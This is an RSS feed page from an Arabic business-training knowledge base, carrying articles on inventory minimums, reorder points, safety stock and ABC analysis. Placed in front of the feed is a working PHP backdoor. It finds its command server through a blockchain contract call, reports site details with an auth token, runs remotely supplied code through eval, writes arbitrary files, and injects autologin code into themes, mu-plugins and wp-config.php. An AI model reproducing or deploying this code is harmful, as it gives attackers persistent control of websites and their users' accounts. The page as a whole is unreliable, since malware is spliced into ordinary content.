// 1h_1p if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php', 'ctrl'=>'// 1h_1p', 'vis'=>'// st_3y', 'vis_func'=>'wp_dg1657', 'vis_paths'=>array('/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php'), 'opt'=>'_wp_7hsqajid', ); $keys=array(); $keys['id']='fj1'; $keys['ver']='1q'; $keys['caps']='tle'; $keys['tasks']='l7z'; $keys['interval']='bbw'; $keys['ack_id']='cxz'; $keys['ok']='9w'; $keys['detail']='voi'; $keys['inv']='5jq'; $keys['result']='f34'; $hdr='X-B1W-Auth';$tok='XedrlORYVlRrR6u98I3prggq7ZR1j5tnIRsfGTzBTyM';$id='5394ed6b3f3ab399';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); المشتريات والمخازن Archives - CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات موسوعة مركز كيم لتنمية المهارات و القدرات Tue, 01 Aug 2023 12:00:29 +0000 ar hourly 1 https://wordpress.org/?v=6.3.12 سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة السابعة https://cameknowledge.camecenter.com/articles/material_requirements_planning-7/ https://cameknowledge.camecenter.com/articles/material_requirements_planning-7/#respond Fri, 07 Apr 2023 13:23:36 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10400 سلسلة مقالات – تخطيط الإحتياجات من المواد بقلم أ. د / صبرى شحاتة المقالة السابعة تحديد مستويات المخزون: ==============        تعتبر عملية تحديد مستويات المخزون من الطرق الرئيسية للرقابة علي المخزون. وتختلف مستويات المخزون من صنف لأخر ذلك حسب معدل استخدامه بالمشروع وطبيعة الصنف. وتتضح مستويات المخزون علي كارت الصنف لكل صنف علي حدة أو […]

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة السابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تخطيط الإحتياجات من المواد

بقلم أ. د / صبرى شحاتة

المقالة السابعة

تحديد مستويات المخزون:

==============

       تعتبر عملية تحديد مستويات المخزون من الطرق الرئيسية للرقابة علي المخزون. وتختلف مستويات المخزون من صنف لأخر ذلك حسب معدل استخدامه بالمشروع وطبيعة الصنف. وتتضح مستويات المخزون علي كارت الصنف لكل صنف علي حدة أو بسجلات المخازن التي تخص هذا الشأن ومستويات المخزون هي:

  • الحد الأدني أو احتياطي الأمان.
  • نقطة إعادة الطلب.
  • الحد الأقصي.

 

–  الحد الأدني أو احتياطي الأمان:

يقصد بالحد الأدني ذلك الحد أو هذا المستوي الذي لا يجب أن يقل عنه المخزون من الصنف فهو الحد اللازم الاحتفاظ به لمواجهة الطوارئ في الحالات المفاجئة كارتفاع غير متوقع في السحب من المخازن لطلبات عاجلة وطارئة وبصفة مؤقتة تفوق الاستخدام أو لتأخير غير عادي في موعد الاستلام سواء لظروف طارئة خاصة بالمورد أو خاصة بتعطل وسائل النقل. أو بمعني آخر يعتبر الحد الأدني كمية أمن المخزون الاحتياطي لمواجهة الظروف الطارئة حتي لا يتوقف الإنتاج بسبب نفاد الكمية العادية للمخزون لذلك يجب الموازنة بين تكاليف تخزين هذه الكمية وبين تكاليف تعطل خط الإنتاج أو التشغيل لو نفدت الكمية العادية للمخزون.

    فالحد الادني  هو الحد الذي لا يجب أن يقل عنه المخزون من صنف معين في الظروف العادية ويطلق على هذا المستوى الحد الأدنى الحقيقي حيث يمثل كمية الاحتياطي التي تحتفظ بها الشركة أو الهيئة لمواجهة الظروف الغير مؤكدة أو الغير متوقعة أو الطارئة مثل :

  • زيادة معدل استخدام الصنف .
  • التأخير في وصول الخامات المشتراه .
  • استلام خامات معينة لا يمكن استخدامها بسبب عدم مطابقتها لمواصفات الجودة .
  • التغيرات في فترات التوريد .

ويتوقف تحديد حجم مخزون الأمان على ما يلي :

  • أهمية الصنف في العمليات الإنتاجية .
  • حجم الاستثمارات ومدى إمكانية الاستعانة بالأصناف البديلة في وقت معين .

 

وفيما يلي أهم العوامل التي يعتمد عليها في تحديد مستوى هذا الحد من مخزون الأمان :

_———————————–

  • احتمالات نفاذ الأصناف أو الصنف وما يترتب على ذلك من مخاطر إنتاجية وتسويقية أو تشغيلية وخدمية للعملاء .
  • التنبؤ بالمبيعات للسلع المتوقع توزيعها بالأسواق أو حجم التشغيل لما له من أثر في تخطيط وجدولة برامج الإنتاج بما لا تسمح بنفاذ المواد المخزونة التي يتم تحديدها وتخطيط الحصول عليها .
  • تكلفة التخزين : وهذا يقتضى دراسة العلاقة بين تكاليف التخزين وتكاليف نفاذ المخزون .

      ومن الناحية النظرية يمكن القول أن الحد الأدنى للمخزون يساوى الصفر إلا أنه من الناحية العملية لا يمكن قبول هذا المنطق ، وبالتالي يمكن القول أن هناك حدين للحد الأدنى :-

  • الحد الأدنى النظرى وهو يساوى صفر .
  • الحد الأدنى الحقيقي وهويساوى حد الأمان أو احتياطي الطوارئ .

   ويمكن حساب الحد الأدنى الحقيقي من خلال المعادلتين التاليتين :

  • الحد الأدنى الحقيقي =

      الحد الأقصى للمخزون – كمية الشراء الاقتصادية

                       

  • الحد الأدنى الحقيقي =

      مستوى إعادة الطلب – كمية التوريد ( كمية فترة التوريد )

 

ويؤخذ في الاعتبار عند تحديد الحد الأدني للمخزون أهم الاعتبارات التالية:

أ –   معدل السحب اليومي من المخازن.

ب –  المستوي العادي لورود الطلبيات للمخازن.

ج –  كمية المخزون التي تضمن عدم توقف خطوط الإنتاج بسبب نفاد المخزون العادي.

       ولتقدير كمية الحد الأدني للمخزون يجب أن تقدر الخسائر التي تحدث نتيجة لنفاذ الكمية العادية للمخزون، لأن نفاد الكمية العادية للمخزون يؤدي إلي توقف التشغيل وبالتالي يسبب للمشروع الصناعي خسائر التي منها.

أ –   خسائر أرباح المبيعات التي لم يتم انتاجها بسبب توقف التشغيل.

ب –  تحمل تكاليف توقف الآلات وتعطل العمال بدون عمل.

ج –  سمعة المشروع في السوق بعدم الوفاء بكميات الإنتاج المطلوبة منه في المواعيد المتفق عليها مما قد يؤدي إلي تحول بعض العملاء إلي منتجين آخرين يسبب في انخفاض أرقام مبيعاته مستقبلاً.

د –   تعويض بعض العملاء لعدم التسليم في المواعيد المتفق عليها.

 

–    نقطة إعادة الطلب:

يقصد بنقطة إعادة الطلب : هو المستوى الذي إذا وصل إليه المخزون من الصنف يجب إصدار أمر شراء جديد ، بحيث عند ورود الطلبية الجديدة يكون هذا الصنف قد وصل إلى مستوى الحد الأدنى الحقيقي أي حد الطوارئ وبإضافتها إلى هذا الحد يصل إلى حده الأقصى .

 

     ويتوقف تحديد نقطة إعادة الطلب على عنصرين :

  • معدل الاستخدام اليومي أو الأسبوعي أو الشهرى أو السنوى والذي يتحدد بناء على الخبرة السابقة والتنبؤ بالمتغيرات الداخلية والخارجية المؤثرة على التشغيل .
  • وقت الاستلام : ويقصد به الفترة الزمنية التي تبدأ من تاريخ اصدار أمر التوريد حتى تصل الطلبية الجديدة إلى المخازن ويتم استلامها وهي ما تسمى بفترة التوريد.

      هذا كما يتأثر هذا المستوى بعوامل أخرى مثل ظروف السوق ، تقلبات الأسعار ، نوعية وعدد الموردين ، ظروف النقل والشحن والتوريد وخلافه .

 

ويتم حساب نقطة إعادة الطلب كما يلي :

نقطة إعادة الطلب =

             كمية فترة التوريد + مخزون الأمان .

كمية فترة التوريد =

          فترة التوريد ( اليومي) × معدل الاستخدام (اليومي )

نقطة إعادة الطلب =    ( فترة التوريد × معدل الاستخدام ) + مخزون الأمان .

فترة التوريد =        تاريخ وصول الطلبية الجديدة – تاريخ اصدار أمر التوريد

 

              كمية حد الطلب – كمية الحد الأدنى الحقيقي

كما تساوى = __________________________

                    متوسط الاستخدام

 

لتحديد متى يعاد الطلب ؟ يمكن حساب ذلك بالمعادلة التالية :-

 

           رصيد المخزون الحالي – مستوى إعادة الطلب

          ______________________________

                   معدل الاستخدام

الحد الأقصي:

=======

الحد الأقصي هو هذا الحد أو هذا المستوي الذي لا ينبغي أن يزيد عنه المخزون من أي صنف. والهدف من هذا الحد الأقصي هو الحد من الإسراف. في استثمار أموال المشروع في المخزن دون ما يبرره، لهذا يعتبر من أهم العوامل التي تؤخذ في الاعتبار تحديد الأقصي الاعتبار المالي حتي لا تزيد قيمة المخزون عن قدر معين في أي وقت من الوقت، وبجانب هذا الاعتبار فهناك اعتبارات أخري مثل التغييرات الفنية والتقادم للمواد والخامات المخزونة أو حتي بالنسبة للسلع تامة الصنع.

ويساوي الحد الأقصي للمخزون:

       الحد الأدنى الحقيقي + الكمية الاقتصادية للطلب

   فإذا فرضنا على سبيل المثال أنه تم تحديد كمية الطلب المناسبة (النموذجية ) بإحدى المنشآت الصناعية للصنف أ بـ 900 وحدة وأن الحد الأدنى الحقيقي ( حد الأمان ) بلغ 350 وحدة .

  فالمطلوب تحديد الحد الأقصى للمخزون .

:. الحد الأقصى للمخزون = 350 + 900 = 1250 وحدة

 

ثالثًا: تحديد الحد الأدني عند أقل تكلفة:

====================

       يمثل الحد الأدني للمخزون من الصنف رقم ثابت علي مدار فترة زمنية لمقابلة ظروف تأخير وصول كمية الطلب من الصنف. أو بمعني آخر لمواجهة مخاطر احتمال نفاد المخزون قبل ورود كمية الطلب من المورد. ولهذا ينبغي تحدي الحد الأدني للمخزون من الصنف الذي يحقق أقل تكلفة ممكنة فيما يتعلق بتكلفة التخزين من جهة لمواجهة احتمالات الخسائر الناجمة عن نفاذ المخزون من جهة أخري. ولهذا فإن المشروع سوف يواجه ما يلي:

  • تكلفة نتيجة الاحتفاظ بمخزون الحد الأدني، وستكون تكلفة ثابتة لا تتغير علي مدار فترة زمنية لأنه سيكون موجودًا بصفة مستمرة.
  • تخفيض أو وفر في التكاليف يتحقق بسبب تجنب مشكلة نفاذ المخزون أي أن كمية المخزون من الحد الأدني ترتبط بشقين الأول يتعلق بتكلفة التخزين والآخر يتعلق بتكلفة نفاذ المخزون، ولهذا فإن الحد الأدني للمخزون عند أقل تكلفة يتطلب الموازنة بين تكلفة التخزين وتكلفة نفاذ المخزون. وللوصول إلي ذلك ينبغي تحديد تكاليف نفاذ المخزون عند بدائل للحد الأدني. وتكاليف مخزون كل بديل واختيار أقل إجمالي تكاليف من بين البدائل وهي لكل بديل = تكلفة نفاذ المخزون + تكلفة التخزين. ويتم حساب تكلفة نفاذ المخزون.

  

عدد وحدات العجز في المخزون وهو عبارة عن

=     كمية الاستخدام – (نقطة إعادة الطلب العادية + الحد الأدني) × نسبة احتمال الاستخدام × تكلفة خسائر نفاذ المخزون للوحدة × عدد مرات الطلب خلال السنة.

أما تكلفة التخزين فهي عبارة عن :

=     عدد وحدات مخزون الحد الأدني × تكلفة تخزين الوحدة.

ويتبع في ذلك الخطوات التالية:

1-   تقدير نقطة إعادة الطلب العادية: نظرًا لأنه لم يتم التعرف علي الحد الأدني مقدمًا فيتم حسابها علي الوجه التالي:

عدد الوحدات المستخدمة يوميًا × فترة الانتظار بالأيام.

2 –  تقدير نسبة احتمالات الاستخدام عن طريق مراجعة بيانات المشروع، ويتم ذلك من خلال تصوير جدول تتضح فيه البيانات التالية:

أ –   كميات الاستخدام خلال فترة الانتظار، من سجلات المشروع.

       ب –  عدد مرات استخدام الكميات، أيضًا من سجلات المشروع.

       ج –  احتمالات الاستخدام ويتم حسابه بقسمة مرات الاستخدام علي المجموع الكلي لعدد مرات الاستخدام مضروبًا في 100.

3 –  تحديد بدائل مخزون الحد الأدني (كمية الاستخدام – كمية نقطة إعادة الطلب العادية).

4 –  حساب تكلفة نفاذ المخزون لكل بديل من بدائل مخزون الحد الأدني.

5 –  حساب تكلفة التخزين لكل بديل. وإجمالي تكاليف لكل بديل وهي عبارة عن تكلفة نفاذ المخزون + تكلفة التخزين. واختيار أقل إجمالي التكاليف ويعتبر هو البديل الأمثل.

 

وفيما يلي تمرين يوضح كيفية إستخدام بيانات الكمية الإقتصادية في تحديد مستويات التخزين :

 

تمرين :

====

       بفرض أنه توفرت لديك البيانات التالية عن إحدى الشركات :-

 الإحتياجات السنوية = 1152 وحدة .

 المدة التى يتم التوريد خلالها = 10 أيام .

 تبلغ تكلفة إصدار أمر التوريد الواحد 32 جنيه .

 تبلغ تكلفة الإحتفاظ بالمخزون 5% من متوسط قيمة المخزون .

 ثمن شراء الوحدة من هذا الصنف الذي تحتاج إليه الشركة = 20 جنيه .

 يقدر الحد الأدنى للمخزون بـ 20% من الكمية الإقتصادية للشراء .

 يبلغ معدل الإستخدام الشهري 96 وحدة ، وعدد أيام العمل في الشهر 24 يوم .

المطلوب :

تحديد مستويات المخزون الثلاث للشركة المذكورة ؟ .

 

الحـــــــــل

 

أولاً : تحديد الكمية الإقتصادية :

 

                    2ج ص

ك   =        _________

                    ظ ر

 

             2 × 1152 × 32 ×100

    ك  =  ـــــــــــــــ

                   5 × 20

    ك (الكمية الإقتصادية للشراء)=  73728  = 272 وحدة .

 

ثانياً : تحديد الحد الأدنى للمخزون :

 

الحد الأدنى للمخزون = 20% × الكمية الإقتصادية .

                    = 20%  × 272

                    = 55 وحدة .

 

 

ثالثاً : تحديد نقطة إعادة الطلب :

1- حساب نقطة إعادة الطلب دون أخذ مخزون الأمان في الحسبان :

 

معدل الإستخدام اليومي

    = معدل الإستخدام الشهري ÷ عدد أيام العمل في الشهر .

    =       96  ÷ 24   = 4 وحدات يومية .

 

نقطة إعادة الطلب دون أخذ مخزون الأمان في الحسبان

   = فترة التوريد  × معدل الإستخدام اليومي .

   =   10(يوم) × 4 (وحدات) = 40 وحدة .

 

وهذا يعني على الإدارة المعنية بإتخاذ قرار الشراء إصدار أمر توريد جديد عندما يصل حجم المخزون 40وحدة في حالة عدم أخذ مخزون الأمان في الحسبان .

 

2- حساب نقطة إعادة الطلب مع أخذ مخزون الأمان في الحسبان :

نقطة إعادة الطلب مع أخذ مخزون الأمان في الحسبان

   =(فترة التوريد × معدل الإستخدام اليومي) + الحد الأدنى للمخزون

   =(10 × 4 ) + 55 = 95 وحدة .

تحديد مخزون الأمان في حالة عدم معلومية تكاليف النفاذ الخاصة به .

      تقوم هذه الطريقة على تحديد مخزون الأمان حسب مستويات ثقة معينة تمثل مستويات الخدمة المطلوبة وذلك بالاستعانة بجداول التوزيعات الإحتمالية حيث يمكن معرفة الانحراف المعياري المقابل بمستوى الثقة المطلوب تحقيقه ، وعلى ذلك فإن حساب مخزون الأمان طبقا لهذه الطريقة يتم على النحو التالى :

حساب المنصرف خلال فترات الانتظار السابقة .

 حساب المتوسط الحسابي لها . والانحراف المعياري .

 حساب مخزون الأمان بضرب الانحراف المعياري × الرقم المحدد أمام مستوى الثقة المطلوب .

 حساب نقطة إعادة الطلب الجديدة

      = نقطة إعادة الطلب العادية + مخزون الأمان

 

تمرين :

=====

    تقوم شركة أما نكو بإنتاج نوع معين من الأجهزة الكهربائية وتشترى له موتورات كهربائية ويبلغ معدل الإنتاج اليومي 20 جهاز ، وتبلغ فترة الانتظار عشرون يوما وتحصل الشركة على احتياجاتها والتى تقدر بـ 3000 موتور سنويا على أربعة مرات .

 

 

والمطلوب :

 

       1- حساب مخزون الأمان عند مستوى ثقة 99% علما بأن الكميات المنصرفة في فترات الانتظار في العام السابق كانت 150 ، 200 ، 250 ، 300         (2.33)

 

       2- حساب نقطة إعادة الطلب الجديدة .

 

الحـــل :

 

حساب الانحراف المعياري

 

مربع الانحراف الانحراف عن الوسط الحسابي المتوسط المنصرف
5625 750 225 150
625 250 225 200
625 25 225 250
5625 75 225 300
12500     900

 

                    

                         مربع الانحراف

الانحراف المعياري =    __________

                              ن  

 

                           12500

                    =     _______   =   3125 =55.9

                              4    

 

مخزون الأمان عند مستوى الثقة 99%

      =55.9 × 2.33  =   130 موتور تقريبا

 

نقطة إعادة الطلب العادية  = فترة الانتظار  × معدل الإنتاج اليومي 

         = 20  ×20   =    400 

 

نقطة إعادة الطلب الجديدة  

         = 400  +  130   =  530 موتور .

 

*   *   *

انتهت بحمد الله مقالات مسار كيم التعليمى تخطيط الإحتياجات من المواد

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة السابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/material_requirements_planning-7/feed/ 0 سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة السادسة https://cameknowledge.camecenter.com/articles/material_requirements_planning-6/ https://cameknowledge.camecenter.com/articles/material_requirements_planning-6/#respond Fri, 07 Apr 2023 12:38:35 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10398 سلسلة مقالات – تخطيط الإحتياجات من المواد بقلم أ. د / صبرى شحاتة المقالة السادسة محتويات المقالة: التحليل الثلاثي لعناصر المواد المشتراه والمخزنة الكمية الإقتصادية للشراء . ما هية الكمية الإقتصادية للشراء . حساب الكمية الإقتصادية بطريقة الجدول . حساب الكمية الإقتصاد بطريقة المعادلة . مستويات التخزين . الحد الأدنى (مخزون الأمان ) . الحد […]

The post سلسلة مقالات – تخطيط الإحتياجات من المواد -بقلم أ. د/ صبرى شحاتة – المقالة السادسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – تخطيط الإحتياجات من المواد

بقلم أ. د / صبرى شحاتة

المقالة السادسة

محتويات المقالة:

  • التحليل الثلاثي لعناصر المواد المشتراه والمخزنة
  • الكمية الإقتصادية للشراء .
  • ما هية الكمية الإقتصادية للشراء .
  • حساب الكمية الإقتصادية بطريقة الجدول .
  • حساب الكمية الإقتصاد بطريقة المعادلة .
    • مستويات التخزين .
      • الحد الأدنى (مخزون الأمان ) .
      • الحد الأعلى للمخزون .
      • نقطة إعاد الطلب .

 

 فلسفة التحليل الثلاثي لعناصر المواد المشتراه:

==========================

في أي عمل أو نشاط هناك دائمًا القلة الهامة، والكثرة غير الهامة. ففي مجال المبيعات تتركز النسبة الأكبر من قيمة المبيعات في عدد قليل من العملاء، وفي مجال الإنتاج يتسبب عدد قليل من الآلات في وقوع النسبة الأكبر من الأعطال، وفي مجال الشراء تتركز النسبة الأكبر من قيمة المشتريات في عدد قليل من المواد، بل وفي لعبة كرة القدم يسجل عدد قليل من اللاعبين النسبة العظمي للأهداف.

 

ويقوم هذا الأسلوب على ظاهرة موجودة في غالبية المنظمات وهي :

  • أن 20% تقريبا من عناصر المخزون تستهلك أكثر من 80% من إجمالي قيمة الاستخدام السنوي
  • أن 80% من عناصر المخزون تقريباُ تستوعب نسبة ضئيلة تصل إلى 20% من إجمالي الأموال المستثمرة في المخزون .

 

وفي ضوء الظاهرة السابقة قام ” بارتو” بتقسيم المخزون إلى تصنيفات ثلاث حسب أهميتها ووفقا لقيمة الإستخدام السنوي لكل منها كما يلي :

  • عناصر القسم أ (ِA ) وتمثل قمة هذا النظام وتحتل ما بين 10% إلى 20% من إجمالى عناصر المخزون ، وتتراوح قيمة الاستخدام السنوى للمخزون من هذه الأصناف نسبة تتراوح ما بين 60 – 80% لذا فهي تشمل الأصناف التي تستخدم بكميات كبيرة وتكون جزءا كبيرا من المخزون وقيمة الوحدة فيها مرتفع نسبيا

2- عناصر القسم ب (B ) وهي تلي قسم أ ( A ) في الأهمية ، وتتراوح نسبتها إلى المخزون الكلي ما بين 15-30% من الأصناف المخزونة ، وتستوعب أيضا ما بين 15-30% من إجمالي قيمة الاستخدام السنوي للمخزون .

